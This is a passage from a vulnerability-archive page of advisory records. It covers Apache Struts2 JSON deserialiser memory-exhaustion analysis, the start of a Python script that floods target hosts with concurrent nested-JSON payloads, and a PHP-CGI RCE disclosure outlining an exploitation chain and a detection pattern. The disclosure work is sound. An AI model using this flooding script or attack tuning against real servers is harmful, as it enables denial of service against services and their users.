-- but are constrained \nalong the y-axis by the 64-depth limit. As width doesn\u0027t immediately equal a significant number of bytes consumed \nsince the cost is stepped, it\u0027s best to go n-1 deep and then fill out the leaves, which means that we get maximum usage \n-- 82,785,552 bytes of RAM consumed on a single request (assume 64-bit HotSpot JVM running with compressed oops and \n8-byte alignment -- a standard configuration set) -- in the manner described in the above \"The Approach\" section.\n\nIn other words, by fanning out into empty Strings and using 40 concurrent requests, we can consume ~3.31GB of RAM on \nthe host and maximise the 2MB input limit that Apache has put in place.\n\nThe Maths\n\n * ArrayList: ~24B + backing Object array of capacity n\n * Backing array: 16B + 4nB (rounded to 8 bytes by the JVM)\n * On first `add(Object)` call, the backing array goes to 56B\n * If hit rapidly and concurrently, garbage collection will not run (we\u0027ll take the worst case scenario, here, \nfor simplicity), so growing an array to 10,000 elements (14,053 capacity) costs 168,944 bytes in backing arrays\n * One singleton-chain level: 80B / 2 input characters = 40 bytes/input character\n * One chain (62 levels + leaf): (62B * 80B) + 40B = 5,000B for (62 * 2) + 2 characters -- 126 characters (39.68 \nbytes/input character)\\\n * 16,512 chains: 82,560,000B\n * two 8,256-wide level-2 arrays: 2 * 112,736 = 225,472B\n * 2-wide root: 80B\nAdd it all up and you get 82,785,552B on a single request. Multiply that by 40 (40 concurrent requests) and you have \n~3.31GB residing in memory at any given time. Stepped attacks, especially if paired with high-compute requests (again, \nboxing and unboxing requests are a great option), can dramatically increase that while allowing the attacker to \ndecrease the number of requests/second. Note that we leave such a trivial tweak to the PoC to the reader.\n\nThe Script\nThe following is a modernised version of Commas of D00m known as \"Let the Commas Hit the Floor\".\n\n```python\n#!/usr/bin/python3\n# ---\n# name: Nested-array depth overflow tester\n# category: Testing and scanning\n# tags: dos, payload, nested-array, recursion-depth, stack-overflow, json, flood, load, http\n# description: Floods a host with concurrent deeply nested JSON arrays (2 root children x 8,256 nested children,\n# each a 62-level chain of single-element arrays terminating in an empty string) to probe JSON parser\n# recursion/stack-depth limits.\n# placeholders:\n# - token: \"@@HOSTS@@\"\n# field: hosts\n# kind: list\n# format: python\n# label: Hosts\n# - token: \"@@CONTENT_TYPE@@\"\n# field: content_type\n# kind: text\n# label: Content-Type\n# default: application/json\n# - token: \"@@PATH@@\"\n# field: path\n# kind: text\n# label: Request path\n# optional: true\n# default: /\n# - token: \"@@HEADERS@@\"\n# field: headers\n# kind: map\n# format: python\n# label: Extra headers, like the cookie and authorisation headers\n# optional: true\n# - token: \"@@PARALLEL_COUNT@@\"\n# field: parallel_count\n# kind: text\n# label: Parallel count (concurrent threads)\n# optional: true\n# default: 40\n# - token: \"@@TOTAL_CONNECTIONS@@\"\n# field: total_number_of_connections\n# kind: text\n# label: Total connections\n# optional: true\n# default: 1000\n# - token: \"@@RECREATE_PAYLOAD@@\"\n# field: recreate_payload\n# kind: text\n# label: Recreate payload file (true/false)\n# optional: true\n# default: true\n# - token: \"@@PAYLOAD_FILE@@\"\n# field: payload_file\n# kind: text\n# label: Payload file\n# optional: true\n# default: prebuilt_payload_tmp\n# - token: \"@@ROOT_CHILDREN@@\"\n# field: root_children\n# kind: text\n# label: Root array children\n# optional: true\n# default: 2\n# - token: \"@@LEVEL2_CHILDREN@@\"\n# field: level2_children\n# kind: text\n# label: Level-2 array children (per root child)\n# optional: true\n# default: 8256\n# - token: \"@@CHAIN_DEPTH@@\"\n# field: chain_depth\n# kind: text\n# label: Nested single-child array chain depth (per slot)\n# optional: true\n# default: 62\n# - token: \"@@LEAF_VALUE@@\"\n# field: leaf_value\n# kind: text\n# label: Leaf value (terminates each chain)\n# optional: true\n# default:\n# - token: \"@@REQUEST_TIMEOUT@@\"\n# field: request_timeout\n# kind: text\n# label: Per-request timeout in seconds\n# optional: true\n# default: 10\n# ---\n\"\"\"Flood a host with deeply nested JSON arrays to probe recursion/stack-depth limits.\n\nBuilds a JSON array shaped as: a root array of 2 children, each a level-2 array of\n8,256 children (16,512 slots total), where each slot is a chain of 62 nested\nsingle-child arrays terminating in an empty-string leaf. This shape stresses a\nserver-side JSON parser\u0027s recursion/stack handling without relying on one single\npathologically deep structure. Fires the payload at each host with a configurable\namount of concurrency, tallying the status codes seen (413s and 5xx especially) and\nlogging any 5xx bodies to ``request-responses.txt``. A Content-Type and at least one\nhost are required.\nUsage:\n python script.py\n\"\"\"\n\nimport concurrent.futures\nimport json\nimport os\nimport time\nfrom datetime import datetime, timezone\n\nimport requests\n\n# REPLACE/ADJUST THESE\nconfig = {\n \u0027hosts\u0027: @@HOSTS@@,\n \u0027paths\u0027: [\u0027@@PATH@@\u0027 or \u0027/\u0027],\n \u0027content_type\u0027: \u0027@@CONTENT_TYPE@@\u0027 or \u0027application/json\u0027,\n \u0027extra_headers\u0027: @@HEADERS@@,\n \u0027parallel_count\u0027: int(\u0027@@PARALLEL_COUNT@@\u0027 or 40),\n \u0027total_number_of_connections\u0027: int(\u0027@@TOTAL_CONNECTIONS@@\u0027 or 1000),\n \u0027request_timeout\u0027: float(\u0027@@REQUEST_TIMEOUT@@\u0027 or 10),\n # Data for the payload generation\n \u0027recreate_payload\u0027: (\u0027@@RECREATE_PAYLOAD@@\u0027 or \u0027true\u0027).strip().lower() in (\u00271\u0027, \u0027true\u0027, \u0027yes\u0027),\n \u0027payload_file\u0027: \u0027@@PAYLOAD_FILE@@\u0027 or \u0027prebuilt_payload_tmp\u0027,\n \u0027root_children\u0027: int(\u0027@@ROOT_CHILDREN@@\u0027 or 2),\n \u0027level2_children\u0027: int(\u0027@@LEVEL2_CHILDREN@@\u0027 or 8256),\n \u0027chain_depth\u0027: int(\u0027@@CHAIN_DEPTH@@\u0027 or 62),\n \u0027leaf_value\u0027: \u0027@@LEAF_VALUE@@\u0027,\n}\n\nif not config[\u0027hosts\u0027]:\n raise ValueError(\u0027At least one host is required.\u0027)\n\n\ndef count_status_codes(responses, url):\n \"\"\"\n Walks through the responses, logs any 5xx bodies (labelled with ``url`` so\n multi-host runs stay attributable), and counts the status codes\n\n Args:\n responses (list[Response]): List of response objects\n url (str): The URL these responses came from\n\n Returns:\n dict: A dictionary with counts for each of the status codes that we monitor\n \"\"\"\n five_xx_responses = [r for r in responses if r is not None and 500 \u003c= r.status_code \u003c 600]\n if five_xx_responses:\n try:\n with open(\u0027request-responses.txt\u0027, \u0027a\u0027, encoding=\u0027utf-8\u0027, errors=\u0027replace\u0027) as f:\n for response in five_xx_responses:\n f.write(f\"Response from {url}:\\n\")\n for header, value in response.headers.items():\n f.write(f\"{header}: {value}\\n\")\n f.write(f\"{response.text}\\n\")\n f.write(\"-\" * 50 + \"\\n\")\n print(f\"Successfully wrote {len(five_xx_responses)} response(s) to request-responses.txt\")\n except Exception as e:\n print(f\"Error writing to file: {str(e)}\")\n\n return {\n \u00272xx\u0027: len([r for r in responses if r is not None and 200 \u003c= r.status_code \u003c 300]),\n \u00274xx\u0027: len([r for r in responses if r is not None and 400 \u003c= r.status_code \u003c 500]),\n \u002740"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:05Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/50"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/50"
},
{
"url": "http://\u0026apos"
},
{
"url": "https://\u0026apos"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://{host.rstrip"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/50"
],
"discovery": "EXTERNAL"
},
"title": "Maximised JSON Array Attacks -- \"Let the Commas Hit the Floor\" Proof of Concept",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0510",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/50",
"automated": true,
"contentSha256": "97fa672f0f9b4a84aaccfe8fe6d38e52258bb8b52cabc83f94b838fb95cd6083",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/50",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-28T05:30:20Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:05Z",
"dateUpdated": "2026-11-02T07:30:05Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0510"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0509
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
CVE-2026-109618: PHP-CGI Pointer Underflow → Remote Code Execution (CVSS 9.2)
Summary
CVE-2026-109618: Pointer underflow in PHP's CGI SAPI enables
unauthenticated remote code execution.
Affected: ALL PHP versions 5.x through 8.4.26 with cgi.fix_pathinfo=1
(default configuration). Same vulnerability class as CVE-2019-11043
(PHP-FPM, CVSS 9.8, patched 2019) — the CGI SAPI never received the
equivalent fix.
Fix: PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35 (scheduled Oct 21, 2026 14:00 UTC)
PHP 8.1 and earlier (EOL) receive NO fix.
Root cause: sapi/cgi/cgi_main.c — missing bounds check in path_info
pointer arithmetic. Fix: php-src PR #23411 adds the guard.
Exploitation chain (independently confirmed, 9/9 automated tests):
1. OOB Read — leak heap data via corrupted PATH_INFO
2. Info Leak — extract fcgi_data_seg pointers (ASLR bypass)
3. Write Primitive — ASAN SCARINESS 30 (wild-addr-write)
4. Code Execution — .user.ini auto_prepend_file injection
Mitigation: set cgi.fix_pathinfo=0 in php.ini
Exposure: ~884,000 internet-facing hosts on EOL PHP versions.
Default PHP configuration is vulnerable.
IMPORTANT: Several "PoC" repositories on exploit aggregators claim to
target CVE-2026-109618 but actually exploit session.upload_progress UAF —
a completely different vulnerability. Disabling session.upload_progress
does NOT mitigate this vulnerability. The correct mitigation is
cgi.fix_pathinfo=0.
Detection: %0a/%0d in URI path targeting .php endpoints (very low false
positive rate).
References:
php-src PR #23411:
https://www.google.com/url?q=https://github.com/php/php-src/pull/23411&source=gmail&ust=1792646638609000&sa=E
CVE-2019-11043 (FPM equivalent):
https://www.google.com/url?q=https://nvd.nist.gov/vuln/detail/CVE-2019-11043&source=gmail&ust=1792646638609000&sa=E
Full PoC will be published after patches are available.
Independent discovery via source code audit.
Jose
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
6 references
Relationships
analysis
GCVE-1988-2026-0509 (this record)
- related CVE-2019-11043
- related CVE-2026-109618
{
"containers": {
"cna": {
"affected": [
{
"product": "unknown",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "jose"
}
],
"descriptions": [
{
"lang": "en",
"value": "CVE-2026-109618: Pointer underflow in PHP\u0027s CGI SAPI enables\nunauthenticated remote code execution.\n\nAffected: ALL PHP versions 5.x through 8.4.26 with cgi.fix_pathinfo=1\n(default configuration). Same vulnerability class as CVE-2019-11043\n(PHP-FPM, CVSS 9.8, patched 2019) \u2014 the CGI SAPI never received the\nequivalent fix.\n\nFix: PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35 (scheduled Oct 21, 2026 14:00 UTC)\nPHP 8.1 and earlier (EOL) receive NO fix.\n\nRoot cause: sapi/cgi/cgi_main.c \u2014 missing bounds check in path_info\npointer arithmetic. Fix: php-src PR #23411 adds the guard.\n\nExploitation chain (independently confirmed, 9/9 automated tests):\n1. OOB Read \u2014 leak heap data via corrupted PATH_INFO\n2. Info Leak \u2014 extract fcgi_data_seg pointers (ASLR bypass)\n3. Write Primitive \u2014 ASAN SCARINESS 30 (wild-addr-write)\n4. Code Execution \u2014 .user.ini auto_prepend_file injection\n\nMitigation: set cgi.fix_pathinfo=0 in php.ini\n\nExposure: ~884,000 internet-facing hosts on EOL PHP versions.\nDefault PHP configuration is vulnerable.\n\nIMPORTANT: Several \"PoC\" repositories on exploit aggregators claim to\ntarget CVE-2026-109618 but actually exploit session.upload_progress UAF \u2014\na completely different vulnerability. Disabling session.upload_progress\ndoes NOT mitigate this vulnerability. The correct mitigation is\ncgi.fix_pathinfo=0.\n\nDetection: %0a/%0d in URI path targeting .php endpoints (very low false\npositive rate).\n\nReferences:\nphp-src PR #23411:\nhttps://www.google.com/url?q=https://github.com/php/php-src/pull/23411\u0026source=gmail\u0026ust=1792646638609000\u0026sa=E\nCVE-2019-11043 (FPM equivalent):\nhttps://www.google.com/url?q=https://nvd.nist.gov/vuln/detail/CVE-2019-11043\u0026source=gmail\u0026ust=1792646638609000\u0026sa=E\n\nFull PoC will be published after patches are available.\n\nIndependent discovery via source code audit.\nJose\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:04Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/38"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/38"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.google.com/url?q=https://github.com/php/php-src/pull/23411\u0026source=gmail\u0026ust=1792646638609000\u0026sa=E"
},
{
"url": "https://www.google.com/url?q=https://nvd.nist.gov/vuln/detail/CVE-2019-11043\u0026source=gmail\u0026ust=1792646638609000\u0026sa=E"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/38"
],
"discovery": "EXTERNAL"
},
"title": "CVE-2026-109618: PHP-CGI Pointer Underflow \u2192 Remote Code Execution (CVSS 9.2)",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2019-11043",
"type": "related"
},
{
"destId": "CVE-2026-109618",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0509",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/38",
"automated": true,
"contentSha256": "b7962910087718135806590530ed5dc3a3339f827171bcdd113e1c7208cf846c",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/38",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-21T05:23:58Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0509"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:04Z",
"dateUpdated": "2026-11-02T07:30:04Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0509"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0508
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
Continued Apache Struts2 JSON Plugin Insecure Deserialisation
Summary
Summary
Thus far we have written extensively about the rampant number of insecure JavaScript Object Notation (JSON)
deserialisers available today, like in "Struts2 and Related Framework Array/Collection DoS" (26 October 2025) and "JSON
Deserialiser Unconstrained Resource Consumption Quick Overview" (07 March 2026), along with a naïve proof of concept
script that demonstrated what we were talking about -- "JSON Deserialiser Unconstrained Resource Consumption Proof of
Concept" (29 August 2026). Today we will continue analyse the Apache Struts2 JSON plugin, which serves as a clear case
study in how shallow input limits fail to protect against underlying architectural memory amplification bugs.
As previously mentioned, this vulnerability has existed and been known/exploited by members of this team across
numerous deserialisers for decades. JSON and alternative format parsers (such as CBOR or multi-part forms) are
near-universally susceptible to this issue. Some formats allow what we call "skip counting", which Apache Struts' base
deserialiser did for many years, but many simply do not properly control for memory growth as the parser deserialises
the data. These flaws can be used to cause denial of service conditions, bypass authentication, inject unintended data
into the information system, and so much more based on what you do, how you do it, and what your goals are. This work
will continue to focus on the DOS aspect to keep things simple and because it allows us to discuss the issue across
systems, rather than in specific contexts and use cases.
Evaluation of the WW-5618 and S2-072 Hardening Controls
First, let's walk through the timeline. In October 2025, we reported the "greater issue" and, on 16 January 2026, we,
via VulnCheck, attempted to properly disclose the vulnerability to Apache. Apache classified it as "not a
vulnerability" and, instead, took it as an opportunity to "harden" the code by putting in a few basic checks via PR
#1625 (https://github.com/apache/struts/pull/1625) and PR #1626 (https://github.com/apache/struts/pull/1626) (tracked
collectively as WW-5618, which shipped as version 6.9.0 on 27 April 2026 and version 7.2.1 on 15 June 2026). In short,
on 17 March 2026 (after our second writing on the matter), they added in:
* struts.json.maxElements (default: 10,000)
* struts.json.maxDepth (default: 64)
* struts.json.maxLength (default: 2,097,152)
* struts.json.maxStringLength (default: 262,144)
* struts.json.maxKeyLength (default: 512)
In addition to each of those, the development team added input validation checks inside of `StrutsJSONreader`
(`JSONReader` was, effectively, renamed thereto as part of the aforementioned pulls -- it is now simply an interface)
that
* check the String length as it is built up (inside of `string(char)`)
* check the String length of a Map key (inside of `object()`)
* check the array depth when deserialising a collection, array, or similar object that is represented in JSON as a
JSON array (inside of `array()`)
* check the number of elements in the collection, array, or similar object that is represented in JSON as a JSON
array (inside of `array()`)
Later, Apache issues S2-072 in a further attempt to improve the input validation process. The implementation, however,
fails to close the gap, due in part to the boundary checks being applied in isolation to individual collection
instances during recursion, rather than thereacross. Today we'll look at the `array()` changes and how they have,
effectively, solved little, leaving information systems vulnerable to the same vulnerability that we continue to
discuss.
The Code
The following is taken directly from the official Apache Struts repository --
https://raw.githubusercontent.com/apache/struts/refs/heads/main/plugins/json/src/main/java/org/apache/struts2/json/StrutsJSONReader.java
(27 October 2026):
protected List<Object> array() throws JSONException {
if (this.depth >= this.maxDepth) {
throw new JSONException("JSON array nesting exceeds maximum allowed depth ("
+ this.maxDepth + "). Use " + JSONConstants.JSON_MAX_DEPTH + " to increase the limit.");
}
this.depth++;
try {
List<Object> ret = new ArrayList<>();
Object value = this.read();
while (this.token != ARRAY_END) {
if (ret.size() >= this.maxElements) {
throw new JSONException("JSON array exceeds maximum allowed elements ("
+ this.maxElements + "). Use " + JSONConstants.JSON_MAX_ELEMENTS + " to increase the
limit.");
}
ret.add(value);
Object read = this.read();
if (read == COMMA) {
value = this.read();
} else if (read != ARRAY_END) {
throw buildInvalidInputException();
}
}
return ret;
} finally {
this.depth--;
}
}
The Process
First, to understand where they continue to go wrong, we have to understand how they operate:
1. Input traverses to StrutsJSONReader via a call to the public "read(String)" method.
2. It sets up an iterator, starts it on the first character, sets the depth to `0`, and then runs `read()`.
3. `read()`coordinates tokenisation and, upon seeing `[` outside of quotes (single or double), passes tokenisation
to `array()`, which is the code above.
4. `array()` checks its depth and, if too great, it throws an exception, otherwise it continues.
5. `array()` increments `depth`.
6. `array()` creates a new `ArrayList` to store the elements.
7. `array()` tokenises, via `read()` calls, until either its array has too many elements (at which point an
exception is thrown) or the array is ended (either via `]`, which is positive, or rude termination of the iterator).
8. `array()` decrements `depth` and returns the array to the caller.
The Deep Defect: Tracking Flaws & Heap Amplification
The problem with this process is that it protects only against a very small set of inputs. For example, the obvious
array-of-arrays attack currently means that you can have 10,000^64 (or 1 x 10^256) elements via an array-of-arrays
structure because the limit checks are scoped per-instance of a single array context inside the recursion.
Understanding that the default maximum length is two megabytes (struts.json.maxLength), and assuming that a victim does
not adjust that value, we are talking about roughly 690,000 elements if the JSON is merely an array-of-arrays of empty
strings, or 419,000 elements if the JSON is an array-of-arrays of nulls or two-character Strings. With those numbers,
you really only need a nesting depth of 2 to build a structure holding 100,000,000 elements - which is 10,000 * 10,000
and far more than fits the payload bill.
But that's not the full story. We know that a pointer -- regardless of to what it points -- takes 4 bytes if your
maximum heap size is under 32GB (with compressed oops enabled) and 8 bytes on a 64-bit JVM if the heap size is greater
than 32GB. This means that an array of nulls incurs the cost of the ArrayList wrapper plus the cost of each pointer.
The wrapper itself requires roughly 40 bytes plus its backing array, which accounts for an additional 32-40 bytes plus
(elements * pointerSize).
If, instead, we use two-byte strings, we have the cost of the ArrayList, plus the cost of each pointer, plus the cost
of each String. Java interns certain literals, so duplicates might be interned, but during parsing, this is not
likely. Strings carry substantial object overhead, typically consuming 48 bytes on the heap on a 64-bit machine.
Assuming none of the Strings are interned, a single 10,000 element array of two-character strings consumes roughly
520KB of RAM - at the transmission cost of just 50,001 characters (~50KB). At a 2MB maximum payload restriction, an
attacker can cleanly pack roughly 40 of these structures, yielding 20.8MB of RAM for a single collection layer.
That, however, is only after the ArrayList is fully constructed. ArrayLists are dynamic -- they start at a capacity of
10 by default and grow automatically by 50% each time that they need to expand. For an array scaling to 10,000
elements, the capacity progression is simply:
10 -> 15 -> 22 -> 33 -> 49 -> 73 -> 109 -> 163 -> 244 -> 366 -> 549 -> 823 -> 1234 -> 1851 -> 2776 -> 4164 -> 6246 ->
9369 -> 14053
In other words, that single ArrayList backing array will grow 18 times with each step requiring a fresh array
allocation, a memory copy from the old to the new (where both sit in memory simultaneously), and an unpredictable,
eventual deallocation of the old array by the Garbage Collector.
Moreover, the final array won't stop at 10,000 elements -- its allocated size will remain at 14,053 internal spaces.
The remaining 4,053 slots will be empty pointers that still consume heap space (~56KB total for the backing array, of
which ~16KB is completely wasted heap space). If transient backing arrays exist concurrently during expansion, that
scales to ~168.6KB of RAM just for a single array's resizing churn.
When assuming 40 concurrent attackers running an automated script like Commas of D00m, this transient cost translates
to ~6.76MB just for array allocations, completely independent of the data payload. Balancing the number of arrays
against their node weights allows an attacker to easily optimise this footprint -- attackers can fill arrays to 9370
elements, forcing the largest wasted space, and then carefully pick the payload to maximise the consumed space from the
input. For example, boxed objects like Integer are exceptionally heavy computationally and structurally, and because
native Java Collections do not accept primitives, they force object header overhead across every entry, like Strings,
and so can be especially good options, particularly if mixed with Strings and other such devices. Adding up these
components, a single automated payload sequence can easily consume:
(20.8MB per request * 40 concurrent requests) + 6.76MB = ~838.8MB
Standard production deployments of Apache Tomcat running on normal VMs default to a maximum heap space (-Xmx)
equivalent to 25% of available physical RAM. For a standard 4GB host allocation, Tomcat's total available heap size
sits at exactly 1,024MB, so a minor concurrent attack consumes over 80% of the entire application heap, with an
addition 257.3MB consumed by total parallel allocation, completely exhausting available memory resources and triggering
immediate java.lang.OutOfMemoryError failures that crash the service before garbage collection can clear the transient
data.
Taking Things Seriously
Understanding how the deserialiser operates, how the parser operates, which to attack, and when to attack each allows
discovering (and acting upon) a wide array of vulnerabilities and attack vectors, with devastating outcomes to the
victim. Organisations need to understand how their system works, how third-party libraries operate, what your use
thereof and reliance thereupon means to the information system and its data, and understand the risk appetite of your
organisation, your users, and any third-parties upon which you rely.
But it all goes to another point: attackers don't really need true concurrency, either. A stepped attack, which is
much less likely to trigger DoS protections, can achieve the same goal, as can simply adjusting the rate and body,
optimising what you send and how you send it. In other words, developers (and security professionals) need to take
this seriously because it's not simply a DoS attack and it's not simply "flood the victim with data". Truthfully,
it's, like so many other issues, all about your system, how it interacts with and relies on the code, and how
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Continued Apache Struts2 |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Continued Apache Struts2",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Summary\nThus far we have written extensively about the rampant number of insecure JavaScript Object Notation (JSON) \ndeserialisers available today, like in \"Struts2 and Related Framework Array/Collection DoS\" (26 October 2025) and \"JSON \nDeserialiser Unconstrained Resource Consumption Quick Overview\" (07 March 2026), along with a na\u00efve proof of concept \nscript that demonstrated what we were talking about -- \"JSON Deserialiser Unconstrained Resource Consumption Proof of \nConcept\" (29 August 2026). Today we will continue analyse the Apache Struts2 JSON plugin, which serves as a clear case \nstudy in how shallow input limits fail to protect against underlying architectural memory amplification bugs.\n\nAs previously mentioned, this vulnerability has existed and been known/exploited by members of this team across \nnumerous deserialisers for decades. JSON and alternative format parsers (such as CBOR or multi-part forms) are \nnear-universally susceptible to this issue. Some formats allow what we call \"skip counting\", which Apache Struts\u0027 base \ndeserialiser did for many years, but many simply do not properly control for memory growth as the parser deserialises \nthe data. These flaws can be used to cause denial of service conditions, bypass authentication, inject unintended data \ninto the information system, and so much more based on what you do, how you do it, and what your goals are. This work \nwill continue to focus on the DOS aspect to keep things simple and because it allows us to discuss the issue across \nsystems, rather than in specific contexts and use cases.\n\nEvaluation of the WW-5618 and S2-072 Hardening Controls\nFirst, let\u0027s walk through the timeline. In October 2025, we reported the \"greater issue\" and, on 16 January 2026, we, \nvia VulnCheck, attempted to properly disclose the vulnerability to Apache. Apache classified it as \"not a \nvulnerability\" and, instead, took it as an opportunity to \"harden\" the code by putting in a few basic checks via PR \n#1625 (https://github.com/apache/struts/pull/1625) and PR #1626 (https://github.com/apache/struts/pull/1626) (tracked \ncollectively as WW-5618, which shipped as version 6.9.0 on 27 April 2026 and version 7.2.1 on 15 June 2026). In short, \non 17 March 2026 (after our second writing on the matter), they added in:\n\n * struts.json.maxElements (default: 10,000)\n * struts.json.maxDepth (default: 64)\n * struts.json.maxLength (default: 2,097,152)\n * struts.json.maxStringLength (default: 262,144)\n * struts.json.maxKeyLength (default: 512)\n\nIn addition to each of those, the development team added input validation checks inside of `StrutsJSONreader` \n(`JSONReader` was, effectively, renamed thereto as part of the aforementioned pulls -- it is now simply an interface) \nthat\n\n * check the String length as it is built up (inside of `string(char)`)\n * check the String length of a Map key (inside of `object()`)\n * check the array depth when deserialising a collection, array, or similar object that is represented in JSON as a \nJSON array (inside of `array()`)\n * check the number of elements in the collection, array, or similar object that is represented in JSON as a JSON \narray (inside of `array()`)\n\nLater, Apache issues S2-072 in a further attempt to improve the input validation process. The implementation, however, \nfails to close the gap, due in part to the boundary checks being applied in isolation to individual collection \ninstances during recursion, rather than thereacross. Today we\u0027ll look at the `array()` changes and how they have, \neffectively, solved little, leaving information systems vulnerable to the same vulnerability that we continue to \ndiscuss.\n\nThe Code\nThe following is taken directly from the official Apache Struts repository -- \nhttps://raw.githubusercontent.com/apache/struts/refs/heads/main/plugins/json/src/main/java/org/apache/struts2/json/StrutsJSONReader.java\n (27 October 2026):\n\n protected List\u003cObject\u003e array() throws JSONException {\n if (this.depth \u003e= this.maxDepth) {\n throw new JSONException(\"JSON array nesting exceeds maximum allowed depth (\"\n + this.maxDepth + \"). Use \" + JSONConstants.JSON_MAX_DEPTH + \" to increase the limit.\");\n }\n this.depth++;\n try {\n List\u003cObject\u003e ret = new ArrayList\u003c\u003e();\n Object value = this.read();\n\n while (this.token != ARRAY_END) {\n if (ret.size() \u003e= this.maxElements) {\n throw new JSONException(\"JSON array exceeds maximum allowed elements (\"\n + this.maxElements + \"). Use \" + JSONConstants.JSON_MAX_ELEMENTS + \" to increase the \nlimit.\");\n }\n ret.add(value);\n\n Object read = this.read();\n if (read == COMMA) {\n value = this.read();\n } else if (read != ARRAY_END) {\n throw buildInvalidInputException();\n }\n }\n\n return ret;\n } finally {\n this.depth--;\n }\n }\n\nThe Process\nFirst, to understand where they continue to go wrong, we have to understand how they operate:\n\n 1. Input traverses to StrutsJSONReader via a call to the public \"read(String)\" method.\n 2. It sets up an iterator, starts it on the first character, sets the depth to `0`, and then runs `read()`.\n 3. `read()`coordinates tokenisation and, upon seeing `[` outside of quotes (single or double), passes tokenisation \nto `array()`, which is the code above.\n 4. `array()` checks its depth and, if too great, it throws an exception, otherwise it continues.\n 5. `array()` increments `depth`.\n 6. `array()` creates a new `ArrayList` to store the elements.\n 7. `array()` tokenises, via `read()` calls, until either its array has too many elements (at which point an \nexception is thrown) or the array is ended (either via `]`, which is positive, or rude termination of the iterator).\n 8. `array()` decrements `depth` and returns the array to the caller.\n\nThe Deep Defect: Tracking Flaws \u0026 Heap Amplification\nThe problem with this process is that it protects only against a very small set of inputs. For example, the obvious \narray-of-arrays attack currently means that you can have 10,000^64 (or 1 x 10^256) elements via an array-of-arrays \nstructure because the limit checks are scoped per-instance of a single array context inside the recursion.\n\nUnderstanding that the default maximum length is two megabytes (struts.json.maxLength), and assuming that a victim does \nnot adjust that value, we are talking about roughly 690,000 elements if the JSON is merely an array-of-arrays of empty \nstrings, or 419,000 elements if the JSON is an array-of-arrays of nulls or two-character Strings. With those numbers, \nyou really only need a nesting depth of 2 to build a structure holding 100,000,000 elements - which is 10,000 * 10,000 \nand far more than fits the payload bill.\n\nBut that\u0027s not the full story. We know that a pointer -- regardless of to what it points -- takes 4 bytes if your \nmaximum heap size is under 32GB (with compressed oops enabled) and 8 bytes on a 64-bit JVM if the heap size is greater \nthan 32GB. This means that an array of nulls incurs the cost of the ArrayList wrapper plus the cost of each pointer. \nThe wrapper itself requires roughly 40 bytes plus its backing array, which accounts for an additional 32-40 bytes plus \n(elements * pointerSize).\n\nIf, instead, we use two-byte strings, we have the cost of the ArrayList, plus the cost of each pointer, plus the cost \nof each String. Java interns 